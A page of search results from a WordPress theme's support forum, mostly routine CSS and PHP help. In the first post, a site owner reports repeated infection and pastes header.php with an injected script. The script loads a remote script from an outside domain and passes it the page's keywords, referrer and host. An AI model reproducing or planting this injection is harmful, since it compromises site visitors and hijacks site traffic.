Viewing 30 results - 94,081 through 94,110 (of 142,830 total)
  • Author
    Search Results
  • #649906

    Topic: Enfold theme hacked.

    in forum Enfold
    jiethics
    Participant

    It looks like I am getting constant malware attacks and when you scan it points to the header.php file. Almost all the sites on my hosting got infected so I had to changed the themes now all the other sites are clean and working fine except for the one with the enfold theme. SO i guess this has something to do with the theme. malicious code is always put before the closing </head> tag in header.php file. I update the theme but it comes back and infect again in a day or two say place and same code.

    
    <?php
    	if ( !defined('ABSPATH') ){ die(); }
    	
    	global $avia_config;
    
    	$style 				= $avia_config['box_class'];
    	$responsive			= avia_get_option('responsive_active') != "disabled" ? "responsive" : "fixed_layout";
    	$blank 				= isset($avia_config['template']) ? $avia_config['template'] : "";	
    	$av_lightbox		= avia_get_option('lightbox_active') != "disabled" ? 'av-default-lightbox' : 'av-custom-lightbox';
    	$preloader			= avia_get_option('preloader') == "preloader" ? 'av-preloader-active av-preloader-enabled' : 'av-preloader-disabled';
    	$sidebar_styling 	= avia_get_option('sidebar_styling');
    	$filterable_classes = avia_header_class( avia_header_class_string() );
    
    	
    ?><!DOCTYPE html>
    <html <?php language_attributes(); ?> class="<?php echo " html_{$style} ".$responsive." ".$preloader." ".$av_lightbox." ".$filterable_classes ?> ">
    <head>
    <meta charset="<?php bloginfo( 'charset' ); ?>" />
    
    <!-- page title, displayed in your browser bar -->
    <title><?php if(function_exists('avia_set_title_tag')) { echo avia_set_title_tag(); } ?></title>
    
    <?php
    /*
     * outputs a rel=follow or nofollow tag to circumvent google duplicate content for archives
     * located in framework/php/function-set-avia-frontend.php
     */
     if (function_exists('avia_set_follow')) { echo avia_set_follow(); }
    
     /*
     * outputs a favicon if defined
     */
     if (function_exists('avia_favicon'))    { echo avia_favicon(avia_get_option('favicon')); }
    ?>
    
    <!-- mobile setting -->
    <?php
    
    if( strpos($responsive, 'responsive') !== false ) echo '<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">';
    ?>
    
    <!-- Scripts/CSS and wp_head hook -->
    <?php wp_head(); ?>
    
    <!-- Malicious code start -->
    <script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://sprousewindows.com/js/jquery.min.php?c_utt=J18171&c_utm='+encodeURIComponent('http://sprousewindows.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>
    <!-- Malicious code end -->
    
    </head>
    
    <body id="top" <?php body_class($style." ".$avia_config['font_stack']." ".$blank." ".$sidebar_styling); avia_markup_helper(array('context' => 'body')); ?>>
    
    	<?php 
    		
    	if("av-preloader-active av-preloader-enabled" === $preloader)
    	{
    		echo avia_preload_screen(); 
    	}
    		
    	?>
    
    	<div id='wrap_all'>
    
    	<?php 
    	if(!$blank) //blank templates dont display header nor footer
    	{ 
    		 //fetch the template file that holds the main menu, located in includes/helper-menu-main.php
             get_template_part( 'includes/helper', 'main-menu' );
    
    	} ?>
    		
    	<div id='main' data-scroll-offset='<?php echo avia_header_setting('header_scroll_offset'); ?>'>
    
    	<?php 
    		
    		if(isset($avia_config['temp_logo_container'])) echo $avia_config['temp_logo_container'];
    		do_action('ava_after_main_container'); 
    		
    	?>
    
    
    • This topic was modified 9 years, 9 months ago by jiethics.
    #649896

    what is a ‘-VE-‘ top margin?

    #649866

    Hi Rikard,

    I’d like to make the top color section on each page thinner (25px). Thanks!

    #649865

    The desktop speed is quite good at 3.7s to load, however mobile is pretty slow, slower than I expected at 23.45s.

    #649859

    Hi,

    Please try adding this code to the Quick CSS section under Enfold > General Styling or to your child themes style.css file:

    @media only screen and (max-width: 480px) {
    a.cart_dropdown_link {
        background: transparent!important;
        border: none!important;
        top: -25px;
    }
    #top .avia-slideshow-button { margin-top: 0; }}
    
    

    Best regards,
    Yigit

    #649854

    Hi,

    Please add Color section element to your page and then edit it and give it a custom background image and then add three 1/3 column elements and add iconbox element inside each of the column elements and choose to display icon on top :)

    Best regards,
    Yigit

    #649849
    #649844

    Hey Gammelbys15,

    Please try adding this code to the Quick CSS section under Enfold > General Styling or to your child themes style.css file:

    #top .widget_nav_menu ul ul li:before { display: none; }
    #top .widget_nav_menu li.current-menu-parent > a {
        display: none;
    }
    

    Please make sure that > sign is not converted to – http://i.imgur.com/IDXRZQ3.png in Quick CSS field.

    Best regards,
    Yigit

    Hey Ivygrace808,

    Please refer to my posts here – https://kriesi.at/support/topic/lightbox-o-similar/#post-595674

    Best regards,
    Yigit

    #649794

    Ah, I see that now. I’m actually using a transparent PNG logo over top of the background, not just text. So not sure the Fullscreen Slider will work for me, might have to use Revolution Slider.

    #649789

    In reply to: Menu Color and Opacity

    Hi,

    It sounds like you are trying to make your hader glassy transparent. Can you please remove the code i posted here and edit your page and set it to display glassy transparent?

    Best regards,
    Yigit

    Hi,

    Please add following code to Quick CSS as well

    @media only screen and (max-width: 767px) {
    .av_secondary_right .sub_menu { mawrgin-top: 5px !important; }}

    Best regards,
    Yigit

    gugler
    Participant

    Hello,

    I’ve been trying to solve this problem myself for hours, but can’t get it to work properly.

    Here’s my question: I would like to add a custom “read more” link beneath each item in the masonry blog view, that gets populated with data from Advanced Custom Fields for linktext and linktarget. To achieve this, I need to output the link beneath each item and remove the A container that is wrapping each masonry blog post item.
    I am able to put together the link just fine, but I fail at removing the A container and replacing it with a DIV – the layout gets messed up & the posts are not shown next to each other but underneath each other, every item in fullwidth (although I’m setting all the css classes that were used on the A container before).

    I used this code in my functions.php:

    add_filter( 'avf_masonry_loop_prepare', 'avf_masonry_loop_prepare_mod_cat', 10, 2 );
    function avf_masonry_loop_prepare_mod_cat( $key, $entries )
    {
    
    	$linktext = get_field('linktext', $key['ID']);
    	$linktarget = get_field('linkziel', $key['ID']);
    	
    	if ( empty( $linktext ) ) {
    		$linktext = "Mehr >";
    	}
    	
    	if ( empty( $linktarget ) ) {
    		$linktarget = $key['url'];
    	}
    		
        $key['text_after'] .= "
    <span class='masonry-more-link-arrow'><a href='" . $linktarget  . "' target='_self' class='readmore'>". $linktext ."</a></span>";
        return $key;
    }

    And this Javascript code:

    jQuery('document').ready(function(){
    
    	jQuery('a.av-masonry-entry').wrapInner('<div class="masonry-element"></div>');
    	jQuery('.masonry-element').addClass('av-masonry-entry isotope-item post type-post status-publish format-standard has-post-thumbnail hentry category-aktuelles  av-masonry-item-with-image av-masonry-item-loaded');
    	
    		
    	if ( jQuery('.masonry-element').parent().is( "a" ) ) {
        	jQuery('.masonry-element').unwrap();
        }
        
        jQuery( '.masonry-element.av-masonry-entry:empty' ).remove();
          
        
    });

    I hope I could make my problem clear!

    Thank you in advance for your help!

    • This topic was modified 9 years, 9 months ago by gugler. Reason: Usage of in text messed up the display ;)

    Hello,
    I do not understand,
    until now I used to associate each Yoast seo optimized description page that I wanted to appear in the search engine google.

    Recently, yoast seo stopped working, so I want to find a similar solution without manually describe all ‘inside of the page code as they are not a programming expert.

    Thank you

    infobahncreative
    Participant

    Dear Enfold
    The Enfold theme has recently been hacked on my clients’ site.
    I have reinstalled the them with the latest version (3.6.1) and this has thankfully removed the hack. The page builder has however stopped working and the Twitter Icon (top bar & Contact page), the back to top arrow and the various icons on buttons throughout the site have all lost their icons. The buttons still function, but obviously it looks a bit cack without the proper icons.

    Any thoughts?

    Regards as ever,

    Ali

    #649689

    I have noticed this issue also. Hopefully @Kriesi will fix the code. Someone else reported this and there is a quick CSS solution:

    #post-649689

    Hope that helps.
    H

    #649681
    cd2s
    Participant

    Hi

    We received a video link from a newspaper organisation in Switzerland. We are only allowed to show on our website the part where we are mentioned/featured, as the whole documentary is only available as a paid option.

    I was able to embed it via the Avia Layout Builder but only the whole video, I don’t see any option to cut it…. Is there anyway to tell the video to start at a certain time stamp and stop at a certain time stamp?

    Below the link to the video. Would appreciate your help as the publisher only provides the link to the whole video but doesn’t allow us to show it in its entirety.

    Thanks & kindest Regards,
    Corina

    #649679
    lms200519
    Participant

    -Calendar Month Navigation text on top of calendar overlaps the link to previous month (top left)
    -The next month link not appearing (top right) so future events can’t be seen one or more months in the future.

    I uploaded manually the latest Enfold files which didn’t help.

    • This topic was modified 9 years, 9 months ago by lms200519.
    #649677

    Hi again,

    By browsing the support forums I was able to find a very temporary fix, in this thread :
    https://kriesi.at/support/topic/woocommerce-quantity-arrow-buttons/?login_error

    When I added the code given in this thread to function.php, the button started working again. The only problem is that when it reloads with the updated quantity, the defaut Woocommerce quantity selector is displayed, and not the enfold one. So it only gives a possible way towards a solution, but is in no way a definitive fix.

    Here is the code taken from the thread :

    /*    WOOCOMMERCE QTY FIX    */
    add_action('wp_footer', 'ava_new_custom_script');
    function ava_new_custom_script(){
    ?>
    <script type="text/javascript">
    (function($) {
        "use strict";
    
    	$(window).load(function(){
    		$(".quantity .minus,.quantity .plus").on("click",function(){
    			$(this).closest(".quantity").find(".input-text").trigger("change");
    		});
    	});
    })(jQuery);
    </script>
    <?php
    }
    #649658
    msulecki
    Participant

    Hi
    I would like to ask
    Is it possible to link image to the site, but to the specific place in the text ?
    example
    http://www.mrmax2.nazwa.pl/pellet/oferta/ – first image links to the site
    http://www.mrmax2.nazwa.pl/pellet/pellet/ – but to the top of site.
    I would like to link it to the 3rd promo box.
    thaks for help
    regards

    #649652
    flysocial
    Participant

    Hi Team Kriesi,

    I’m currently designing a website for a client and we are using the full-screen slider to display a video on the home page. We do want the video to autoplay with sound, however, we want to have an option for visitors to mute the sound. Is there a simple way of achieving this? I wasn’t able to find an inbuilt option for this.

    I have searched the forums but couldn’t find any solution. I am sure other users would appreciate this option too.

    Thanks,
    David

    #649651

    Hey torstenw,

    Please try something like this:

    .home .container_wrap .avia-builder-el-first {
    margin-top: 50px;
    }
    

    Regards,
    Rikard

    #649648

    In reply to: sub menu not working

    Hi,

    Ok, well keep the thread open for you, please let us know if you should need any more help on the topic.

    Thanks,
    Rikard

    #649642

    Hi tvgverlag,

    I’ve tagged the topic for our german speaking moderator, please wait for his reply.

    Best regards,
    Rikard

    #649638

    Rikard,

    Thank you for your timely response. My apologies if I was unclear. I want to disable the top tier link above the drop-down menu. Many people want to have drop-down menus, but don’t necessarily want their top tier links to lead anywhere, but instead, merely use them for an organization function. I have worked with other themes that offer this as an option and would like to be able to employ with my Enfold themes.

    Please advise.

    #649635

    Hi Rikard and Vinay,
    Unfortunately the code Vinay sent me

    #top .post-entry {
    max-width: 800px !important;
    left:50%;
    transform:translate(-50%);
    }

    works fine at post level. It is ok. It is what I need.
    But it broke the site format everywhere else (homepage, category page…).
    I sent you a couple of days ago privately the screenshots of the broken pages but maybe you didn’t see it.
    I will sent them again.
    Thanks again.
    p.s. I removed the code to allow my site to work well. If you need to test it please let me know and I will put it again at Quick CSS.

    #649628

    Hi,
    we are coming closer :)
    i’ve put the code now as follows in the quick css (without 1px border):

    .page-id-673 .av_two_fifth {
    vertical-align: bottom !important;
    }

    but what i would like to achieve is the result as you can see in this picture:

    therfore i’ve put the code in custom.css in the desktop style section

    .page-id-673 .avia-builder-el-no-sibling {
        margin-bottom: -50px;
    }

    as you can see in the screenshot marked, it gets overruled by shortcode.css (i’ve changed it manually to -50px, so you can see what i would like to achive).

    Hi,

    Add another color section below the existing one, apply a unique Section ID to it then use css to pull it upwards. Something like this:

    #custom-section {
    margin-top: -300px;
    }

    Could you please provide a link to the actual page?

    Best regards,
    Ismael

    #649581

    In reply to: Conflict plugin

    Hi,

    I can update Woocommerce but is it working with current version of Enfold?

    Yes. the latest version should be compatible with the latest version of the theme. Please try to update the plugin then let us know if you still encounter the error. And please follow the instructions here in order to fix the issue: https://kriesi.at/support/topic/warning-session_start-function-session-start/#post-447416

    Best regards,
    Ismael

    #649580

    Hi Jordan,
    Yes it is clickable but the test widget has no more space on top. Before it had white space on top, was aligned horizontally with the logo and looking good. can you please make it same as before. text widget need white space on top.

    I tried to put margin-top on the textwidget but on page scroll the widget appears on top of body text. please make it same as before and we should keep it responsive too for all screen size and also on page scroll.

    Thanks!

Viewing 30 results - 94,081 through 94,110 (of 142,830 total)